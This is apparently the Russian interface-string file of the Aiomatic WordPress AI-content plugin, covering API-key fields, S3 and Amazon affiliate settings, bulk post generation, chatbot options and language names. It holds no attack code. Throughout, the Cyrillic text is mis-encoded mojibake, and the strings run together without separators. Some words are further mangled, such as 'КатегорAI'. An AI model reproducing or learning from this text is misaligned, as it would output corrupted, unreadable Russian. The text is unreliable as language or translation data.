доÑтупны в OmniBlocks. Добавьте неÑколько коротких кодов в новой Ñтроке. Ð’ приведенных выше OmniBlocks вы можете иÑпользовать короткие коды в Ñледующем формате: %%shortcode_name%%. Формат:shortcode_name => shortcode_value1, shortcode_value2Добавить новые РаÑширениÑДобавить или удалить иÑточник ПоÑтовДобавьте шаблон Шорткода %%web_results%%.Добавьте URL-адреÑа файлов CSV, откуда плагин будет получать информацию Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ ПоÑтов. Добавьте каждый URL-Ð°Ð´Ñ€ÐµÑ Ñ„Ð°Ð¹Ð»Ð° в новой Ñтроке.Добавьте указанный выше OmniBlock в очередь.Добавьте отредактированную ПромптДобавьте Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° вÑтраивание перепиÑчикаДобавив ключ API Anthropic Claude в Ñто поле наÑтроек, вы заÑтавите модели Anthropic Claude отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, вÑтавьте ваши API-ключи Anthropic Claude (по одному в Ñтроку). Получить Ñвой API-ключ здеÑÑŒ.Добавление ключа API Google MakerSuite в Ñто поле наÑтроек заÑтавит модели Google MakerSuite AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, вÑтавьте Ñвои API-ключи Google MakerSuite AI (по одному в Ñтроку). Получить ключ API здеÑÑŒ.Добавление ключа OpenRouter в Ñто поле наÑтроек заÑтавит модели OpenRouter AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, вÑтавьте ваши API-ключи OpenRouter AI (по одному в Ñтроку). Получить Ñвой API-ключ здеÑÑŒ.Добавив ключ Perplexity в Ñто поле наÑтроек, вы заÑтавите модели Perplexity AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, вÑтавьте Ñвои API-ключи Perplexity AI (по одному в Ñтроку). Получить Ñвой API-ключ здеÑÑŒ.Дополнительные наÑтройки AI API:Дополнительные наÑтройки вÑтраиваниÑ:Дополнительные Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ñ‹Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÐŸÐ¾ÑÑ‚Ð¾Ð²Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÐŸÐ¾Ñтов:Дополнительные Теги ПоÑтовДополнительные Теги ПоÑтов:Дополнительные короткие коды:ДобавлÑет ÑвÑзанное видео YouTube к контенту.ДобавлÑет в контент ÑвÑзанные изображениÑ, не требующие лицензионных отчиÑлений. Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð°, вам необходимо выбрать одну или неÑколько Ñлужб изображений без лицензионных отчиÑлений в меню «ОÑновные наÑтройки» плагина -> вкладка Â«Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений».ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в Instagram.ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в LinkedIn.ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в PinterestДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом Reddit.ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом через X (Twitter).ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом Ñ ÑообщеÑтвом YouTube.ДобавлÑет два OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена текÑтом и изображениÑми в Facebook.Только админиÑтраторыРаÑширенные ÐаÑтройки AI API:РаÑширенные наÑтройки AIРаÑширенные параметры Генератора текÑта AIРаÑширенные ÐаÑтройки API:РаÑширенные шаблоны контентаРаÑширенный режимРаÑширенные параметры ПромптовРаÑширенные ÐаÑтройкиРаÑширенные наÑтройки:ÐаÑтройки инÑтрумента замены Ключевых Слов Ð´Ð»Ñ Ð¿Ð°Ñ€Ñ‚Ð½ÐµÑ€Ð¾Ð²:AfrikaansAfrikaans (Google Translate)ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Pinecone Ñоздайте новый index. ОбÑзательно уÑтановите размерноÑÑ‚ÑŒ 1536, а также убедитеÑÑŒ, что метрика уÑтановлена на коÑинуÑ. Введите здеÑÑŒ Ñгенерированный идентификатор индекÑа.ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Pinecone Ñоздайте новое проÑтранÑтво имен (необÑзательно).ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Qdrant_index Ñоздайте новый индекÑ. ОбÑзательно уÑтановите размерноÑÑ‚ÑŒ 1536, а также уÑтановите метрику коÑинуÑа. Введите здеÑÑŒ Ñгенерированный ID индекÑа.ПоÑле того, как вы наÑтроили вÑе параметры по Ñвоему вкуÑу, не забудьте нажать кнопку «Сохранить изменениÑ» внизу Ñтраницы.ПоÑле Ñтого вам нужно добавить ÑвойAiomaticAiomatic — SEO-полÑ, Сгенерированные AIAiomatic - автоматичеÑкий пиÑатель Контента AIAIomatic AI Редактор КонтентаAiomatic-AI Создатель Продукта Ðйоматик чатÐйоматик КронAiomatic Cron 10 МинутAiomatic Cron ПолчаÑа Aiomatic Cron Четверть чаÑаAiomatic Ð’ÑтраиваниÑРаÑширение Aiomatic: Хранилище Amazon S3Aiomatic РаÑширениÑÐ˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AiomaticAiomatic PlaygroundШорткоды и Формы AiomaticОбучающее видео по Aiomatic WP-CLI:Aiomatic позволÑет разработчикам наÑтраивать Промпты, отправлÑемые моделÑм ИИ, а также ответы, возвращаемые AI , прежде чем они будут обработаны в плагине, что обеÑпечивает широкие возможноÑти наÑтройки AI и его результатов.Aiomatic — Ñто вÑеобъемлющий Плагин WordPress, который иÑпользует возможноÑти иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, чат-ботов, изображений, аудио и многого другого. Этот комплекÑный набор AI включает в ÑÐµÐ±Ñ Ñ‚Ð°ÐºÐ¸Ðµ функции, как ПользовательÑкий ChatGPT, Создатель контента, ÐвтоматичеÑкий Генератор Контента, МаÑтер контента, Формы AI, Создатель Изображений, Конвертер Ðудио, УÑилитель SEO, Обучение иÑкуÑÑтвенному интеллекту, Ð’Ñтраивание и многое другое — вÑе на базе GPT-3, GPT-3.5 и GPT-4.Aiomatic — Ñто мощный инÑтрумент, который может помочь вам Ñоздавать выÑококачеÑтвенный Контент, Ñозданный AI, Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта WordPress. ЯвлÑетеÑÑŒ ли вы блогером, маркетологом или проÑто хотите автоматизировать процеÑÑ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, в Aiomatic еÑÑ‚ÑŒ вÑе, что вам нужно Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° работы.Aiomatic выводит вашу Медиатеку на новый уровень Ñ Ñ€Ð°Ñширением AI Media Library. С раÑширением 1 вы можете автоматичеÑки генерировать замещающий текÑÑ‚, подпиÑи и опиÑÐ°Ð½Ð¸Ñ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… изображений, ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ драгоценное Ð²Ñ€ÐµÐ¼Ñ Ð¸ уÑилиÑ. РаÑширение 2 дает еще больше возможноÑтей, Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°Ñ Ñ€ÐµÐ»ÐµÐ²Ð°Ð½Ñ‚Ð½Ñ‹Ðµ теги и ключевые Ñлова Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… Медиафайлов, обеÑÐ¿ÐµÑ‡Ð¸Ð²Ð°Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð°Ð»ÑŒÐ½ÑƒÑŽ поиÑковую оптимизацию и возможноÑÑ‚ÑŒ обнаружениÑ.Aiomatic иÑпользует Ñту библиотеку Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображений и уÑÐºÐ¾Ñ€ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ вашего Ñайта.Страница поддержки AiomaticалбанÑкийÐлбанÑкий (переводчик Google)Ð’ÑеВÑе файлы OmniBlockÐ’Ñе шаблоны OmniBlockÐ’Ñе иÑточники ПоÑтовВÑе права защищеныВÑе ÐÑÑиÑтентыВÑе вÑтраиваниÑÐ’Ñе файлыВÑе тонкоÑтиВÑе ФормыВÑе перÑонажиAlt ТекÑÑ‚Ðльтернативные наÑтройки API генератора изображений AI:Ðльтернативный текÑÑ‚ (Alt)Идентификатор Партнера AmazonAmazon Associate ID (Опционалльно)Amazon Associate ID (Опционалльно):Ð˜Ð¼Ñ Ð¥Ñ€Ð°Ð½Ð¸Ð»Ð¸Ñ‰Ð° Amazon:Регион Хранилища Amazon:ПодробноÑти о продукте AmazonСпиÑок продуктов AmazonОбзор продукта AmazonУчебное поÑобие по обзорам продуктов AmazonОбзор продуктов AmazonУчебное поÑобие по Обзору Продуктов AmazonМиниатюра продукта AmazonКлюч API Amazon S3:Секрет API Amazon S3:Каталог Amazon S3:ÐаÑтройки Amazon S3:Хранилище Amazon S3 Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹Ð£Ñ‡ÐµÐ±Ð½Ð¾Ðµ видео по Amazon S3:Параметры ПоиÑка ÐмазонAmazon Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð¡Ñ‚Ñ€Ð°Ð½Ð°Amazon Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð¡Ñ‚Ñ€Ð°Ð½Ð°:ÐмхарÑкийÐмхарÑкий (переводчик Google)Произошла ошибкаÐльтернатива выборке Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ð¾Ð¹, Ð½Ð°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð²Ñ‹Ð±Ð¾Ñ€ÐºÐ¾Ð¹ Ñдра, где модель раÑÑматривает результаты токенов Ñ Ð²ÐµÑ€Ð¾ÑтноÑтной маÑÑой top_p. Таким образом, значение 0,1 означает, что учитываютÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ токены, ÑоÑтавлÑющие 10% pвероÑтноÑтных маÑÑ. Как правило, мы рекомендуем изменить Ñто или температуру, но не то и другое одновременно.Произошла ошибка. ПожалуйÑта, повторите попытку позже!Произошла внутреннÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ°. Повторите попытку позже!Произошла внутреннÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ°, повторите попытку позже!Вот и вÑе! Теперь ваш Плагин Aiomatic наÑтроен на автоматичеÑкое редактирование ваших ПоÑтов Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI. Помните, что вы вÑегда можете вернутьÑÑ Ð¸ изменить Ñти ÐаÑтройки, еÑли обнаружите, что автоматичеÑкое редактирование работает не ÑовÑем так, как вы хотите.ЖивотныеÐаÑтройки Anthropic APIÐ’ÑеПо-видимому, обновлений нет!Добавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AIДобавить ТекÑÑ‚ ко вÑем ТекÑтовым Промптам AI:Добавить текÑÑ‚ к Промптам Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°:Добавить в конецПодать ЗаÑвку на Любую РольПодать заÑвку на любую подпиÑкуарабÑкийÐрабÑкий (переводчик Google)Ð’Ñ‹ уверены, что хотите очиÑтить текущий ÑпиÑок?Ð’Ñ‹ уверены, что хотите удалить вÑе Ñозданные ПоÑÑ‚Ñ‹? Это может занÑÑ‚ÑŒ некоторое времÑ, пожалуйÑта, подождите, пока оно не закончитÑÑ.Ð’Ñ‹ уверены, что хотите удалить вÑе журналы?Ð’Ñ‹ уверены, что хотите воÑÑтановить ÐаÑтройки Плагина по умолчанию?ÐрмÑнÑкийÐрмÑнÑкий (переводчик Google)ТекÑÑ‚ заголовка раздела Ñтатьи «Ðнализ отзывов клиентов»ТекÑÑ‚ заголовка раздела Ñтатьи «Ðнализ отзывов клиентов»:ТекÑÑ‚ заголовка раздела Ñтатьи «ПлюÑÑ‹ и минуÑы»ТекÑÑ‚ заголовка раздела Ñтатьи «ПлюÑÑ‹ и минуÑы»:ТекÑÑ‚ Заголовка Раздела Статьи «ВопроÑÑ‹ и ответы»ТекÑÑ‚ Заголовка Раздела Статьи «ВопроÑÑ‹ и ответы»:ТекÑÑ‚ заголовка раздела Ñтатьи «Контент» ТекÑÑ‚ заголовка раздела Ñтатьи «Контент» :Промпт на Ðнализ Отзывов клиентов СтатьиПромпт на Ðнализ Отзывов клиентов Статьи:ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÑтатьиИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñтатьи:Промпт Ð´Ð»Ñ Ð’Ñтупительной ЧаÑти СтатьиПромпт Ð´Ð»Ñ Ð’Ñтупительной ЧаÑти Статьи:Промпты Заключительной ЧаÑти СтатьиПромпты Заключительной ЧаÑти Статьи:ТекÑÑ‚ Заголовка Раздела Заключительной ЧаÑти СтатьиТекÑÑ‚ Заголовка Раздела Заключительной ЧаÑти Статьи :Промпт ПлюÑÑ‹ и минуÑÑ‹ СтатьиПромпт ПлюÑÑ‹ и минуÑÑ‹ Статьи:Промпты ВопроÑов и Ответов СтатьиПромпты ВопроÑов и Ответов Статьи:ТекÑÑ‚ заголовка Раздела ВопроÑов и Ответов по ÑтатьеТекÑÑ‚ Заголовка Раздела ВопроÑов и Ответов по Ñтатье:Разделы Ñтатьи ПромптПромпты Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² ПоÑта:Таблица ТекÑтов Заголовоков Раздела ТекÑта ЗаголовоковТекÑÑ‚ Заголовка Раздела Оглавление:воÑходÑщийÐзиатÑко-ТихоокеанÑкий регион 1 (Токио)ÐзиатÑко-ТихоокеанÑкий регион 2 (Сидней)ÐзиатÑко-ТихоокеанÑкий регион 3 (Сингапур)ÐзиатÑко-ТихоокеанÑкий регион 4 (ОÑака)ÐзиатÑко-ТихоокеанÑкий регион 4 (Сеул)ÐзиатÑко-ТихоокеанÑкий регион 5 (Мумбаи)ÐзиатÑко-ТихоокеанÑкий регион 6 (Гонконг)Ð’ ÑторонеаÑÑамÑкийÐÑÑаммезе (Переводчик Google)Ðазначение поÑтов на Ñзыке WPML / PolylangÐазначьте Ð´Ð»Ñ ÐŸÐ¾Ñтов Ñзык WPML / Polylang:ÐÑÑиÑтентÐватар ÐÑÑиÑтентаКонтекÑтный Промпт ÐÑÑиÑтентаОпиÑание ÐÑÑиÑтентаФайлы ÐÑÑиÑтентаПервое Ñообщение ÐÑÑиÑтентаФункции ÐÑÑиÑтентаID ÐÑÑиÑтентаЛокальный ID ÐÑÑиÑтентаМодель ÐÑÑиÑтента*Ð˜Ð¼Ñ ÐÑÑиÑтента*ID OpenAI ÐÑÑиÑтентаОбновлен проект ÐÑÑиÑтента.ÐÑÑиÑтент опубликован.ÐÑÑиÑтент воÑÑтановлен до верÑии %sÐÑÑиÑтент Ñохранен.ÐÑÑиÑтент запланирован на: %1$s.ÐÑÑиÑтент предÑтавилÑÑ.ÐÑÑиÑтент обновлен.ПрикреплÑйте ÑÑылки к Ñозданным ПоÑтамSEO-атрибуты прикрепленных файлов:Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð½Ð° ÐÑ‚Ñ€Ð¸Ð±ÑƒÑ†Ð¸ÑŽÐ›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Attribution-NoDerivsÐÑ‚Ñ€Ð¸Ð±ÑƒÑ†Ð¸Ñ - ÐекоммерчеÑÐºÐ°Ñ Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸ÑÐ›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Attribution-NonCommercial-NoDerivsAttribution-NonCommercial-ShareAlike ЛицензиÑAttribution-ShareAlike ЛицензиÑаудиоПрофиль ÐудиоуÑтройÑтва:ÐвÑтралиÑКлюч авторизацAI (необÑзательно)ÐвторИдентификаторы авторов:Имена авторов:ÐвтоматичеÑкиÐвто Добавить КатегорAIÐвто Добавить КатегорAI:Ðвто Добавить ТегиÐвто Добавить Теги:ÐвтоматичеÑки Созданный Шаблон Ð’ÑтраиваниÑ:ÐвтоматичеÑкое Ñоздание заголовка ПоÑта на оÑнове Тем (необÑзательно)ÐвтоматичеÑкое Ñоздание заголовка ПоÑта на оÑнове Тем (необÑзательно):ÐвтоматичеÑкое индекÑирование ÑущеÑтвующих поÑтов:ÐвтоматичеÑки уÑтанавливать избранное изображение Ð´Ð»Ñ ÐŸÐ¾Ñтов (выберите иÑточник ниже)ÐвтоматичеÑÐºÐ°Ñ ÑƒÑтановка избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐŸÐ¾Ñтов (выберите иÑточник ниже):Ðвтоматизируйте процеÑÑ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии AI:ÐвтоматичеÑкие SEO-теги, напиÑанные AI Ð´Ð»Ñ Ð­Ð»ÐµÐ¼ÐµÐ½Ñ‚Ð¾Ð² Медиатеки:ÐвтоматичеÑкое Редактирование КонтентаÐвтоматичеÑкое Редактирование СущеÑтвующих ПоÑтов:Метод автоматичеÑкого Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов:Параметры ÐвтоматичеÑкой ЛинковкиÐвтоматичеÑкий Тип ЛинковкиÐвтоматичеÑкий Тип Линковки:ÐаÑтройки автоматичеÑкого Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ð´Ð»Ñ ÑÑылок:ÐвтоматичеÑÐºÐ°Ñ ÐžÐ±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ° ТакÑономии при Создании:ÐвтоматичеÑки добавлÑÑ‚ÑŒ Ñгенерированное AI SEO-опиÑание к ПоÑтам:ÐвтоматичеÑки добавлÑÑ‚ÑŒ SEO-опиÑание, Ñгенерированное AI, к ПоÑтам. Это автоматичеÑки добавит SEO-мета-опиÑание к ПоÑтам.ÐвтоматичеÑки добавлÑÑ‚ÑŒ Категории к ПоÑтам:ÐвтоматичеÑки добавлÑÑ‚ÑŒ комментарии к ПоÑтам:ÐвтоматичеÑки добавлÑÑ‚ÑŒ комментарии к ПоÑтам: Это добавит ÑвÑзанные комментарии к ПоÑтам.ÐвтоматичеÑки добавлÑÑ‚ÑŒ внутренние ÑÑылки: Это автоматичеÑки добавит внутренние ÑÑылки к ПоÑтам.ÐвтоматичеÑки ДобавлÑÑ‚ÑŒ СÑылки в ПоÑÑ‚Ñ‹:ÐвтоматичеÑки добавлÑÑ‚ÑŒ Теги к ПоÑтам:ÐвтоматичеÑки очищать журналы поÑле:ÐвтоматичеÑки обрабатывать ПоÑÑ‚Ñ‹, Когда Они:ÐвтоматичеÑки запуÑкать правила только между Ñтими чаÑовыми периодами каждый день:ÐвтоматичеÑки переводить Контент в:ДоÑтупныйДоÑтупные типы OmniBlock:ДоÑтупные Шорткоды (ÑокращениÑ)ÐватарСреднийОтзывКлиентовÐймарÑкийÐймара (Переводчик Google)ÐзербайджанÑкийÐзербайджанÑкий (переводчик Google)СпиÑок развертываний моделей Azure AIÐаÑтройки ключа API AzureÐšÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° AzureÐ˜Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure OpenAI Ð´Ð»Ñ 'ÐšÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° Azure OpenAI:Ð˜Ð¼Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Azure длÑÐазадВернутьÑÑ Ðº ÑпиÑкуФоныРезервное копирование текущих аÑÑиÑтентов в файл:Резервное копирование текущих шаблонов OmniBlock в файл:Резервное копирование текущих перÑон в файл:Файл БÑкапа (*.json)резервное копирование/воÑÑтановление ÐÑÑиÑтентовРезервное копирование/воÑÑтановление шаблонов OmniBlockРезервное копирование/воÑÑтановление перÑонажейБамбараБамбара (Google Переводчик)БаÑкÑкийБаÑкÑкий (переводчик Google)Ð’Ñегда ÑохранÑйте измененные ÐаÑтройки.ОбÑзательно отредактируйте наÑтройки «Промпта Заголовка» в дополнительных наÑтройках, чтобы изменить ÑпоÑоб ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¾Ð²! Введите ÑпиÑок тем ПоÑтов, по одной в каждой Ñтроке. ЕÑли вы введете неÑколько тем (по одной в Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð°. Это уÑтановит значение короткого кода %%topic%%, который можно иÑпользовать в Промптах ниже. Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.БелоруÑÑкийБелоруÑÑкий (переводчик гугл)БенгальÑкийБенгальÑкий (переводчик Google)бходжпуриБходжпури (Переводчик Google)Функции WordPress, внеÑенные в черный ÑпиÑок:Ошибки проверки блокаДоÑка объÑвлений Где публиковать пиныЖирныйЖирный и курÑивУлучшите характериÑтики голоÑа. По умолчанию отключено.ПовыÑьте ÑходÑтво Ñинтезированной речи и голоÑа за Ñчет некоторой ÑкороÑти генерации.Повышение четкоÑти голоÑа и ÑходÑтва целевого говорÑщего доÑтигаетÑÑ Ð·Ð° Ñчет выÑокого уÑилениÑ; однако очень выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ привеÑти к поÑвлению артефактов, поÑтому важно найти оптимальную наÑтройку. Значение по умолчанию — 0,75.БоÑнийÑкийБоÑнийÑкий (переводчик Google)ÐижнÑÑ Ñ‡Ð°ÑÑ‚ÑŒ разделаБразилиÑСтроениÑÐ’Ñтроенный - Среднее качеÑтво - беÑплатноВÑтроенный Ñзык Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов:Ð’Ñтроенные ШорткодыболгарÑкийБолгарÑкий (переводчик Google)МаÑÑовые ÐаÑтройки Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI:ÐаÑтройки маÑÑового вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI :AI Создатель ÐеÑкольких ПоÑтовAI Создатель ÐеÑкольких ПоÑтов — Промпты КонтентаAI Создатель ÐеÑкольких ПоÑтов – Промпты ОтрывкаAI Создатель ÐеÑкольких ПоÑтов — Промпты Ð’Ñупительной ЧаÑтиAI Создатель ÐеÑкольких ПоÑтов— Промпты Заключительной чаÑтиAI Создатель ÐеÑкольких ПоÑтов – Промпты по обеÑпечению качеÑтваAI Создатель ÐеÑкольких ПоÑтов— Промпты по Разделам ПоÑтаAI Создатель ÐеÑкольких ПоÑтов — Промпты к ЗаголовкуÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐеÑкольких ПоÑтов:РуководÑтво по маÑÑовому Ñозданию ПоÑтов AIМаÑÑовые плакатыМаÑÑовые ПоÑтеры & OmniBlocksAI Создатель ÐеÑкольких ПоÑтов:Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¼Ð°ÑÑового Ð²Ð½ÐµÐ´Ñ€ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ потребоватьÑÑ Ð±Ð¾Ð»ÑŒÑˆÐ¾Ðµ количеÑтво токенов Модели AI! УбедитеÑÑŒ, что вы проверили Ñто.МаÑÑовое редактирование ПоÑтов может потребовать большого количеÑтва токенов модели AI! УбедитеÑÑŒ, что вы проверÑетеБирманÑкийБирманÑкий (переводчик Google)БизнеÑÐ‘Ð¸Ð·Ð½ÐµÑ Ð“Ð´Ðµ публиковать поÑÑ‚Ñ‹Ð˜Ð¼Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ:По умолчанию плагин попытаетÑÑ Ð¿ÐµÑ€ÐµÐ²ÐµÑти Промпты Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI на английÑкий Ñзык. ЕÑли вы публикуете на Ñвоем Ñайте контент только на английÑком Ñзыке, вы можете отключить Ñту функцию, чтобы уÑкорить обработку изображений.МаÑштаб CFG:ИнÑтрумент подготовки данных CLICSV AI-Создатель ПоÑтовУроки по CSV AI-Создатель ПоÑтовCSV-файлПараметры CSV-файлаРазделитель файлов CSV (необÑзательно)Разделитель файлов CSV (необÑзательно):СпиÑок URL-адреÑов файлов CSVCSV Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ÐŸÑ€Ð¸Ð¼ÐµÑ€ CSV-файла 1 (Ð±Ð°Ð·Ð¾Ð²Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾ÑÑ‚ÑŒ)Пример файла CSV 2 (раÑширенный файл Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼Ð¸ дополнительными переменными)Пример CSV-файла 3 (раÑширенный файл Ñ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ короткими кодами [aicontent]).КанадаКанада (ЦентральнаÑ)Канада (Торонто)ОтменитьÐе удаетÑÑ Ð½Ð°Ð¹Ñ‚Ð¸ ID Ñтого комментариÑ!ПодпиÑьТекÑÑ‚ ПодпиÑиÐвтомобильный динамиккаталонÑкийКаталонÑкий (переводчик Google)КатегориÑÐÐ°Ð·Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹:КатегориÑ1, КатегориÑ2, КатегориÑ3КатегориÑ:Внимание! Это только Ð´Ð»Ñ Ñ†ÐµÐ»ÐµÐ¹ отладки!СебуанÑкийКебуано (переводчик Google)ЦентрИзменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта поÑле редактированиÑ:Измените отображаемый тип OmniBlock, который можно будет добавить в очередь OmniBlock.ХарактерычатТекÑÑ‚ о ÑоответÑтвии Чата :Счетчик повторных попыток Ð¾ÐºÐ¾Ð½Ñ‡Ð°Ð½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°:Размер шрифта чата:Ð’Ñ‹Ñота формы чата:ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота формы чата:Ширина формы чата:Заполнитель ввода чата:ТекÑÑ‚ кнопки отправки ввода в чате:МакÑимальное количеÑтво повторных попыток API Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°ÐŸÐ°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ñ‹ API чат-бота:Ð˜Ð¼Ñ ÐÑÑиÑтента Чат-бота (при его иÑпользовании отключаютÑÑ Ð¿ÐµÑ€Ñональные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñ‚-бота):ПодробноÑти контекÑта 